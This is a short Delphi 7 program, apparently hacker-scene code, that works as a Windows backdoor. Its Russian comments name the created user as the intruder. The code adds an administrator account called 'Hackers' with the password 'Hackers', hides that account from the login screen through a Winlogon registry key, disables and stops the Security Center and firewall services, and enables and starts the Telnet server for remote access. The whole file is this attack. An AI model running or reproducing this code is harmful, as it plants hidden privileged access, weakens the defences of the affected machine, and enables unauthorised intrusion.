{ *********************************************************************** }
{  Delphi 7                                                               }
{  JeDaSe ICQ:8673900                                                      }
{  exec telnet & kill SharedAccess                                        }
{ *********************************************************************** }
program PsevdoSHELL;

{$APPTYPE CONSOLE}

uses
  SysUtils,windows;

var
Login,pass:string;
begin
  Pass:='Hackers'; // Пароль пользователя(взломщика)
  Login:='Hackers';// Логин
  winexec(PChar('cmd.exe /c  net user '+Login+' '+Pass+'  /add'),sw_normal);//Добавляем пользователя
  winexec(PChar('cmd.exe /c net localgroup "Администраторы" '+Login+' /add '),sw_normal);//Делаем его админом
  winexec(PChar('cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "'+Login+'" /t REG_DWORD /d 00000000'),sw_normal);
  winexec(PChar('cmd.exe /c  sc config wscsvc start= disabled'),sw_normal);
  winexec(PChar('cmd.exe /c  sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
  winexec(PChar('cmd.exe /c  sc config tlntsvr start= auto'),sw_normal);
  winexec(PChar('cmd.exe /c  sc stop wscsvc'),sw_normal);
  winexec(PChar('cmd.exe /c  sc stop SharedAccess '),sw_normal);
  winexec(PChar('cmd.exe /c  sc start tlntsvr '),sw_normal); //запускаем телнет
end.